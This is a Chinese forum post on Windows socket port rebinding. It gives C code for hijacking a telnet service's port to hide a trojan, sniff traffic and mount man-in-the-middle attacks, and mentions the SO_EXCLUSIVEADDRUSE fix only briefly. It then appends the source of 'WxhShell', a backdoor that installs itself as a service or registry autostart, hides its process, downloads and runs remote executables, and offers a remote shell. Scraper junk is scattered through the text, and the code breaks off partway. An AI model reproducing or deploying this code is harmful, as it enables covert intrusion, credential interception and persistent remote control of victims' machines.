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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b0"R |d[i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !)TO2?,^  
@+ U++  
  saddr.sin_family = AF_INET; 5Rec~&v  
f1UGDC<p9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \hT=U*dMR  
^\zf8kPti  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %["V "{ z  
aw8q}:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dJwE/s  
L;s,xV  
  这意味着什么?意味着可以进行如下的攻击: p-;I"uKv  
u4p){|x7s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gXI8$W>  
$*[-kIy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nI6[y)j  
^%r>f@h!L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {]CO;5:  
SvD^'( x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @$(@64r  
/>\6_kT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 geB]~/-p  
49m}~J=*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G*lkVQ6?  
M8wEy_XB1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 96$qH{]Ap  
79JU   
  #include zU$S#4/C  
  #include nY[]k p@  
  #include l /\n7:  
  #include    $-:j'e:j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Rg?m$$X`  
  int main() Y +9OP  
  { =(Ll}V,  
  WORD wVersionRequested; :>'4@{'   
  DWORD ret; \h}a?T6  
  WSADATA wsaData; ^Gs=U[**  
  BOOL val; {KO +t7'Q  
  SOCKADDR_IN saddr; TQ\\/e:  
  SOCKADDR_IN scaddr; y! lEGA7  
  int err; R%Y#vUmBV{  
  SOCKET s; *?GV(/Q  
  SOCKET sc; _(Qec?[^Ps  
  int caddsize; BCK0fk~  
  HANDLE mt; ZdP2}w  
  DWORD tid;   09psqXU@I  
  wVersionRequested = MAKEWORD( 2, 2 ); LT ZoO9O  
  err = WSAStartup( wVersionRequested, &wsaData ); j>70AE3[8  
  if ( err != 0 ) { ^Q'^9M2)  
  printf("error!WSAStartup failed!\n"); ,ruL7|T&  
  return -1; .^%!X!r  
  } k5%:L2FO  
  saddr.sin_family = AF_INET; 5|E_ ,d!v  
   z` :uvEX0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oL2 a:\7  
H[a1n' "<:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (gn)<JJS}  
  saddr.sin_port = htons(23); _ IqUp Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LK'|sO>|  
  { eaI!}#>R +  
  printf("error!socket failed!\n"); lQolE P.pc  
  return -1; i"{ \ >  
  } )Bq~1M 2  
  val = TRUE; &u_s*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &!lGx7zf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f;k'dqlv  
  { AIR\>.~"i*  
  printf("error!setsockopt failed!\n"); I<'wZJRRa  
  return -1; N!fTt,  
  } $1h,<$5H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x[,HK{U|t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1Ue;hu'q:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q599@5aS  
St6U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nbpGxUF`]  
  { *[(}rpp M  
  ret=GetLastError(); ;eG,T-:  
  printf("error!bind failed!\n"); O+Zt*jN;  
  return -1; 7>a-`"`O  
  } a/Cd;T2  
  listen(s,2); `(r [BV|h}  
  while(1) 2\Vzfca  
  { SYPG.O?I  
  caddsize = sizeof(scaddr); d{UyiZm\  
  //接受连接请求 nQ0g,'o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JY+ N+c\  
  if(sc!=INVALID_SOCKET) )>]~Y  
  { ZE())W"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8u,f<XHi"a  
  if(mt==NULL) +[MzF EE[  
  { 4v"9I(  
  printf("Thread Creat Failed!\n"); *20$u% z2  
  break; ohHKZZ  
  } ,Qgxf';+$  
  } C0xj M0  
  CloseHandle(mt); u;fD4CA  
  } ay\e# )  
  closesocket(s); ".9 b}}  
  WSACleanup(); Jon<?DQj  
  return 0; Fxu'(xa  
  }   1 rr\l`  
  DWORD WINAPI ClientThread(LPVOID lpParam) nQ/R,+6h  
  { q;dg,Om  
  SOCKET ss = (SOCKET)lpParam;  Pa .D+  
  SOCKET sc; cr{;gP  
  unsigned char buf[4096]; 6R%Ra  
  SOCKADDR_IN saddr; v-;j44sB  
  long num; n+Ia@ $|m  
  DWORD val; V^a] @GK:  
  DWORD ret; ]-Z="YPY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a9CY,+ z5B  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   no*p`a *  
  saddr.sin_family = AF_INET; iRo/~(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WUQlAsme  
  saddr.sin_port = htons(23); 7V6gT}R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \ /3Xb  
  { <,%qt_ !  
  printf("error!socket failed!\n"); i1qhe?5  
  return -1; >4gGb)  
  } dqU bJc]  
  val = 100; K,7IBv,B[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]] R*sd*  
  { xn49[T  
  ret = GetLastError(); S&y(A0M  
  return -1; g$c\(isY;  
  } ,J|8P{ZO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 86c@Kk7z  
  { Ax*=kZmH|  
  ret = GetLastError(); iXp*G52  
  return -1; }g1V6 `8&  
  } W 7k\j&x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Yx4TUA$c'  
  { J?d&+mt  
  printf("error!socket connect failed!\n"); Rf)lFi  
  closesocket(sc); x>5"7MR`  
  closesocket(ss); ?lg  
  return -1; Q/oel'O*x  
  } xE$(I<:  
  while(1) &F4khga`^:  
  { )/BI :)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F dR!jt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >k gL N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D^+#RR'#,  
  num = recv(ss,buf,4096,0); Bnju_)U5)  
  if(num>0) W`}C0[%VW  
  send(sc,buf,num,0); ][ri A  
  else if(num==0) XH_XGzBQS  
  break; iNn]~L1  
  num = recv(sc,buf,4096,0); pBW|d\8  
  if(num>0) `Zn2Vx  
  send(ss,buf,num,0); RcQo1  
  else if(num==0) 7Sc._G{[%  
  break; q8U*  
  } YzTmXwuA5  
  closesocket(ss); m&EJ @,H  
  closesocket(sc); ig Mm.1>  
  return 0 ; Y7QIFY's~  
  } RQzcsO  
Ood8Qty(  
( Z-~Eh  
========================================================== wB(A['k  
[i7Ug.Oi"  
下边附上一个代码,,WXhSHELL J&%d(EJM  
W0vdU;?%  
========================================================== {fi:]|<1h  
%i!&Fr  
#include "stdafx.h" +bi%4DA  
qPJU}(9#B  
#include <stdio.h> d,r%LjNI  
#include <string.h> Q+d9D1b  
#include <windows.h> J|k~e,C  
#include <winsock2.h> ^4Ta0kDn  
#include <winsvc.h> 7O3\  
#include <urlmon.h> giU6f!%  
j5lSu~  
#pragma comment (lib, "Ws2_32.lib") /ESmQc:DWB  
#pragma comment (lib, "urlmon.lib") X@$x(Zc  
X{SD3j=G#  
#define MAX_USER   100 // 最大客户端连接数 aE0yO#=   
#define BUF_SOCK   200 // sock buffer >P7|-bV  
#define KEY_BUFF   255 // 输入 buffer #!,tId  
n@9*>D U  
#define REBOOT     0   // 重启 <mE)& 7C  
#define SHUTDOWN   1   // 关机 ]YF[W`2h  
BdHLow  
#define DEF_PORT   5000 // 监听端口 a8K"Z-LlQ  
V#!ftu#c?  
#define REG_LEN     16   // 注册表键长度 a~b^`ykcWP  
#define SVC_LEN     80   // NT服务名长度 e<_p\LiOS  
!C&!Wj  
// 从dll定义API Fs rGI (x?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jj:4l~b,w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b"-eQb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b[<Q_7~2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OSc&n>\t  
!MNo 8dC;  
// wxhshell配置信息 4zyy   
struct WSCFG { )L?JH?$C  
  int ws_port;         // 监听端口 ^:Vwblv(  
  char ws_passstr[REG_LEN]; // 口令 i*`;/x'+  
  int ws_autoins;       // 安装标记, 1=yes 0=no kFPZ$8e  
  char ws_regname[REG_LEN]; // 注册表键名 $j(2M?.>#  
  char ws_svcname[REG_LEN]; // 服务名 B|#*I[4`w@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `$|!h-"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wpw~[xd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :( A5 ,$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .VF4?~+M-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yQ)y#5/<6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0*?~I;.2m$  
uQ4WM  
}; Ql-RbM  
{3Z&C$:s  
// default Wxhshell configuration 1-C 2Y `  
struct WSCFG wscfg={DEF_PORT, ,}%+5yH  
    "xuhuanlingzhe", ?`?"j<4e  
    1, ,]e!OZ[$m  
    "Wxhshell", 3rX5haD\  
    "Wxhshell", e-Z+)4fH  
            "WxhShell Service", .%>UA|[~:  
    "Wrsky Windows CmdShell Service", qv<[f=X9|  
    "Please Input Your Password: ", aagN-/mgm  
  1, *RKYdwnb  
  "http://www.wrsky.com/wxhshell.exe", /I~iUND"G  
  "Wxhshell.exe"  k?|l;6  
    }; M/ @1;a@\  
,ZyTYD|7  
// 消息定义模块 09y%FzV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E )D*~2o/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (xffU%C^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |]`\ak  
char *msg_ws_ext="\n\rExit."; >W[8wR  
char *msg_ws_end="\n\rQuit."; d[ql7  
char *msg_ws_boot="\n\rReboot..."; -Y'Qa/:7  
char *msg_ws_poff="\n\rShutdown..."; _ 1[5~Pnh  
char *msg_ws_down="\n\rSave to "; ^]}UyrOn  
}9[E+8L1  
char *msg_ws_err="\n\rErr!"; ?.#?h>MS{s  
char *msg_ws_ok="\n\rOK!"; C Sx V^  
HJT}v/FZ  
char ExeFile[MAX_PATH]; -7)%J+5  
int nUser = 0; `(A>7;]:  
HANDLE handles[MAX_USER]; @O b$w1c  
int OsIsNt; 1t{h)fwi  
7a.$tT  
SERVICE_STATUS       serviceStatus; *9((X,v@/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dXgj  
uxF88$=!t  
// 函数声明 cA_77#<8  
int Install(void); e,/b&j*4th  
int Uninstall(void); >$h*1/  
int DownloadFile(char *sURL, SOCKET wsh); -MZ LkSU  
int Boot(int flag); <oG+=h  
void HideProc(void); ehQ"<.sQ  
int GetOsVer(void); -miWXEe@l  
int Wxhshell(SOCKET wsl); Z+h^ ie"g  
void TalkWithClient(void *cs); .ky((  
int CmdShell(SOCKET sock); Z3E957}  
int StartFromService(void); iLf:an*vH  
int StartWxhshell(LPSTR lpCmdLine); (6i)m c(  
;Hr FPx&d1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "X~ayn'@w,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZzET8?8  
dOPA0Ja  
// 数据结构和表定义 =)}m4,LA  
SERVICE_TABLE_ENTRY DispatchTable[] = "5*n(S{ks  
{ +#~=QT9  
{wscfg.ws_svcname, NTServiceMain}, F;p>bw  
{NULL, NULL} #@xSR:m  
}; ~_v?M%5i  
wW s<{ T  
// 自我安装 ]nE_(*w  
int Install(void) vUD,%@k9  
{ gIv :<EJ9  
  char svExeFile[MAX_PATH]; uJVu:E.#1  
  HKEY key;  hM   
  strcpy(svExeFile,ExeFile); KfpDPwP@  
6kH47Yc?  
// 如果是win9x系统,修改注册表设为自启动 WbZ{) i  
if(!OsIsNt) { \q#s/&b   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n|`L>@aw,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @ @$=MSN  
  RegCloseKey(key); Ql8E9~h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BEM_y:#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); weCRhA  
  RegCloseKey(key); M,1Yce%+}  
  return 0; AD$k`Cj  
    } O8+e: K[D  
  } {?*3Ou  
} AnVj '3  
else { is&A_C7yg  
z#*M}RR  
// 如果是NT以上系统,安装为系统服务 F, {M!dL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SrzlR)  
if (schSCManager!=0) <]I[|4J 7  
{ Di{T3~fqU  
  SC_HANDLE schService = CreateService Ijq',@jE  
  ( v|acKux=t  
  schSCManager, lV!ecJw$  
  wscfg.ws_svcname, XE);oL2xP  
  wscfg.ws_svcdisp, "'p;Udt/Qm  
  SERVICE_ALL_ACCESS, :@KU_U)\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J \U}U'qP  
  SERVICE_AUTO_START, !f\,xa|M  
  SERVICE_ERROR_NORMAL, q:Gi Qk-  
  svExeFile, g2%&/zq/  
  NULL, h,B ]5Of  
  NULL, `9M:B&  
  NULL, ~6!{\un   
  NULL, d K|6p_  
  NULL J^[>F{8!n  
  ); zR:Mg\  
  if (schService!=0) lC&U9=7W  
  { ,[enGw  
  CloseServiceHandle(schService); [f["9(:  
  CloseServiceHandle(schSCManager); ]CyWL6 z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \y?Vou/  
  strcat(svExeFile,wscfg.ws_svcname); aW hhq@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n[4F\I>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); td-2[Sy  
  RegCloseKey(key); tcOgF:  
  return 0; 9ui_/[K  
    } :9H=D^J  
  } 9`4mvK/@  
  CloseServiceHandle(schSCManager); xZAc~~9tD  
} HV'xDy[)  
} `` (D01<  
mKY}+21!Q  
return 1; <+D(GH};  
} ],ioY*4G  
cn (-{dCXM  
// 自我卸载 >?s[g)np  
int Uninstall(void) X%Jq9_  
{ to~Ap=E  
  HKEY key; NT?Gl(  
`hYj0:*)S$  
if(!OsIsNt) { 8Z{&b,Y4L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 27q 9zi!Q  
  RegDeleteValue(key,wscfg.ws_regname); \{  
  RegCloseKey(key); E5"%-fAJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6|gC##T  
  RegDeleteValue(key,wscfg.ws_regname); ; V)pXLE  
  RegCloseKey(key); $(pzh:|  
  return 0; ^(7<L<H  
  } $ )q?z.U  
} V'(yrz!   
} M.|O+K z  
else { b^b@W^\hn  
&P 'cf|KI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lA}(63j+b  
if (schSCManager!=0) \k\ {S2SU  
{ 2(V;OWY(@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x*GGO)r  
  if (schService!=0) @-y.Y}k#$~  
  { ^hPREbD+f  
  if(DeleteService(schService)!=0) { ?pq#|PI)  
  CloseServiceHandle(schService); #&zNYzI  
  CloseServiceHandle(schSCManager); aOZSX3;wg  
  return 0; 2LS03 27  
  } $g? ]9}p  
  CloseServiceHandle(schService); ktX\{g!U  
  } Ax &Z=  
  CloseServiceHandle(schSCManager); @H%)!f]zWt  
} x { Z_rD  
} *@6,Sr)_  
A2 'W  
return 1; +>BLox6  
} S8-3Nv'  
=.19 7)e  
// 从指定url下载文件 t"[ xx_i  
int DownloadFile(char *sURL, SOCKET wsh) +u+|9@  
{ ;!H<W[  
  HRESULT hr; z0=(l?)#  
char seps[]= "/"; WE;QEA/  
char *token; >2Z0XEe  
char *file; :iW+CD)j  
char myURL[MAX_PATH]; tf?syk+jB7  
char myFILE[MAX_PATH]; h"h3SD~  
N|t!G^rP  
strcpy(myURL,sURL); 9i+OYWUO  
  token=strtok(myURL,seps); i=Nq`BoQf  
  while(token!=NULL) xz!b@5DR'%  
  { y.h2hv]Bc  
    file=token; kn2s,%\`<p  
  token=strtok(NULL,seps); x"/DCcZ  
  } p5RnFe l  
@E Srj[  
GetCurrentDirectory(MAX_PATH,myFILE); 5q<cZ)v#&  
strcat(myFILE, "\\");  UZJ^ e$N  
strcat(myFILE, file); &Pk #v  
  send(wsh,myFILE,strlen(myFILE),0); <%d/"XNg[D  
send(wsh,"...",3,0); b$7p`Ay  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O9%`G  
  if(hr==S_OK) 6-"@j@l5<  
return 0; XPJsnu  
else 2HA-q),6  
return 1; \#)|6w-  
+ Cf"rN  
} 6z-ZJ|?  
il8n K  
// 系统电源模块 r{+P2MPW  
int Boot(int flag) .D X  
{ S10"yhn(-t  
  HANDLE hToken; > nHaMj  
  TOKEN_PRIVILEGES tkp; ,\fp .K<  
d_7v1)j  
  if(OsIsNt) { bCa%$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E`0mn7.t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uU$YN-  
    tkp.PrivilegeCount = 1; CjRU3 (Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3@}rO~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dG8_3T}i  
if(flag==REBOOT) { \&!qw[;O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ey/{Z<D  
  return 0; P/!W']OO  
} 0|i3#G_~  
else { /Z~} dWI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  a,ff8Qm  
  return 0; S4ys)!V1V  
} \iP=V3  
  } Mg"e$m  
  else { o=zr]vv  
if(flag==REBOOT) { n0a|GZyO]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f (Su  
  return 0; qr@ <'wp/  
} I4"(4u@P  
else { >0X_UDAWz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `=Z3X(Kc  
  return 0; .ZtW y) U  
} %&iodo,EP'  
} 4 (c{%%  
4'~zuUs  
return 1; 1IPRI<1U  
} UdOO+Z_K%  
H`bS::JI-  
// win9x进程隐藏模块 x DiGN Jc  
void HideProc(void) 2MU$OI0|  
{ C~-.zQ$  
8=MNzcA }  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;F;Vm$  
  if ( hKernel != NULL ) @ogj -ol&  
  { d-cW47  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9;7|MPbR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E[ttamU  
    FreeLibrary(hKernel); ZLZh$eZZ  
  } B#;6z%WK  
5AbY 59  
return; ";U#aK1p  
} ^M)+2@6  
Sby(?yg  
// 获取操作系统版本 tbXl5x0  
int GetOsVer(void) 9RPZj>ezjA  
{ nB;[;dC z  
  OSVERSIONINFO winfo; F};T<#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R>t?6HOcp  
  GetVersionEx(&winfo); 8ZF!}kb0F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &n'@L9v81  
  return 1; |ju+{+  
  else cTBUj  
  return 0; !l-Q.=yw  
} =o:1Rc7J  
H+ 7HD|GE  
// 客户端句柄模块 /Un\P   
int Wxhshell(SOCKET wsl) Z<iK(?@O  
{ w\RYxu?  
  SOCKET wsh; _;,"!'R`f  
  struct sockaddr_in client; QM24cm T  
  DWORD myID; !CdF,pd/)m  
pr[V*C/  
  while(nUser<MAX_USER) ]$BC f4:  
{ !>#gm7  
  int nSize=sizeof(client); ;@*<M\O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3Rhoul[S  
  if(wsh==INVALID_SOCKET) return 1; UX'q64F!  
,A5}HRW%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )3WUyD*UZN  
if(handles[nUser]==0) ~d3|zlh  
  closesocket(wsh); 5@J]#bp0M  
else 2Ab`i!#  
  nUser++; {oS/Xa  
  } -,Js2+QZ#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -,+~W#n  
&;bey4_J  
  return 0; `An p;el  
} P!SsMo6n  
IML.6<,(Z  
// 关闭 socket jNI9 .45y  
void CloseIt(SOCKET wsh) Nt;1&dwUb  
{ kRr/x-"  
closesocket(wsh); X f{9rZ+  
nUser--; 9{}"tk5$h  
ExitThread(0); yFn~rv|&G  
} 5|7<ZL 3  
l<qEX O  
// 客户端请求句柄 (+6N)9rj`/  
void TalkWithClient(void *cs) @ M4m!;rM  
{ ?,] eN&`  
(Y*9 [hm  
  SOCKET wsh=(SOCKET)cs; `Hq*l"8  
  char pwd[SVC_LEN]; 505ejO|  
  char cmd[KEY_BUFF]; IEd?-L  
char chr[1]; x:Q$1&3N  
int i,j; g{ ;OgS3>  
a*t @k*d_  
  while (nUser < MAX_USER) { M(yWE0 3  
4\ |/S@.  
if(wscfg.ws_passstr) { ~Q#! oh'i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); upaQoX/C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bt#'6::  
  //ZeroMemory(pwd,KEY_BUFF); *7=`]w5k1  
      i=0; #|3,DZ|)F  
  while(i<SVC_LEN) { R )4,f~@"  
aI=Q_}8-  
  // 设置超时 l D->1=z  
  fd_set FdRead; >JA>np  
  struct timeval TimeOut; =.OzpV)=V  
  FD_ZERO(&FdRead); >j7]gi(  
  FD_SET(wsh,&FdRead); 7SN61)[m  
  TimeOut.tv_sec=8; Q"uK6ANp'  
  TimeOut.tv_usec=0; .S1MxZhbP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7KGb2V<t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EiaP1o  
;y{(#X#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :>0,MO.^~K  
  pwd=chr[0]; *_d N9  
  if(chr[0]==0xd || chr[0]==0xa) { W8Wjq DQ  
  pwd=0; 2#00<t\  
  break; `>b,'u6F  
  } ;;m;f^]}  
  i++; uix/O*^  
    } +Wgfxk'{  
`KE]RTq  
  // 如果是非法用户,关闭 socket @Kn@j D;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fP6.  
} UCkV ;//.  
#0Uz1[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fa\jVFIQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A0RSNAM  
49<t2^1q  
while(1) { =9`UcTSi6p  
*W^a<Zm8>  
  ZeroMemory(cmd,KEY_BUFF); lzz;L z  
NZ0?0*  
      // 自动支持客户端 telnet标准   `S5::U6E  
  j=0; 8h4]<T  
  while(j<KEY_BUFF) { Wv9L }@J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H3`.Y$z  
  cmd[j]=chr[0]; TI<3>R  
  if(chr[0]==0xa || chr[0]==0xd) { `u R`O9)e  
  cmd[j]=0; l(-"rE  
  break; v`jHd*&6)  
  } .Pte}pM"v  
  j++; >p0,]-.J,r  
    } u??ti OK{  
F u^j- Io  
  // 下载文件 RLL%l  
  if(strstr(cmd,"http://")) { 5~T+d1md  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L;y BZLM  
  if(DownloadFile(cmd,wsh)) -^(KGu&L&u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }<@-=  
  else ?G!~&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L<3+D  
  } 4\p%|G^hU  
  else { 2eeFaFif  
NP.i,H  
    switch(cmd[0]) { ;m>/tD%  
  nf<I  
  // 帮助 Y'bz>@1(  
  case '?': { HC1<zW[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r}^1dO  
    break; `?WN*__["  
  } _x3=i\O,  
  // 安装 [hpkE lE  
  case 'i': { %6rSLBw3  
    if(Install()) aPK:k$.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Ry8E2NuM  
    else *| W*Mu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h(~/JW[  
    break; /\uopa  
    } ^Go,HiB  
  // 卸载 x3#:C=  
  case 'r': { "+Ys}t~2  
    if(Uninstall()) 5#N<~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hm!"%  
    else L(u@%.S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nTD%i~t~o  
    break; =EM<LjO  
    } frW\!r{LT  
  // 显示 wxhshell 所在路径 S;gy:n!t  
  case 'p': { 8!3q:8y8  
    char svExeFile[MAX_PATH]; Jr;w>8B),  
    strcpy(svExeFile,"\n\r"); w+)wrJTtm  
      strcat(svExeFile,ExeFile); DNqV]N_W  
        send(wsh,svExeFile,strlen(svExeFile),0); 3`{;E{  
    break; He5y;5  
    } );}M"W8  
  // 重启 =54D#,[B  
  case 'b': { :<{ 15:1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @NL<v-t  
    if(Boot(REBOOT)) B[EOz\?=m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &{glwVKV  
    else { eN </H.bm]  
    closesocket(wsh); | Z2_W/  
    ExitThread(0); (jhi<eV  
    } k}E_1_S(  
    break; wme#8/eUk  
    } T+EwC)Ll  
  // 关机 a?GXVQ  
  case 'd': { }a, ycFt  
